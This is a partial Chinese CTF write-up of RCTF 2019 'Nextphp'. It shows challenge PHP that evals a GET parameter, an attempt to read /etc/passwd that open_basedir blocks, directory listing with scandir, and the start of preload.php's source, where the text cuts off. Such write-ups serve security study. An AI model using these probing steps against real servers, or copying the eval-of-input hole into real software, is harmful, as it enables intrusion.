[RCTF 2019]Nextphp
题目代码很简单,看着很像白给的(最后惨遭打脸),直接执行system函数发现被ban了,遂查看phpinfo。
<?php
if (isset($_GET['a'])) {
eval($_GET['a']);
} else {
show_source(__FILE__);
}
disable_functions内容如下
执行命令的函数被ban了很多,考虑读文件,发现目录被限制。
Warning: file_get_contents(): open_basedir restriction in effect. File(/etc/passwd) is not within the allowed path(s): (/var/www/html) in /var/www/html/index.php(3) : eval()'d code on line 1
尝试读取当前目录
var_dump(scandir(“/var/www/html”));
可以得到preload.php,尝试获取该文件的源码。
<?php
final class A implements Serializable {
protected $data = [
'ret' =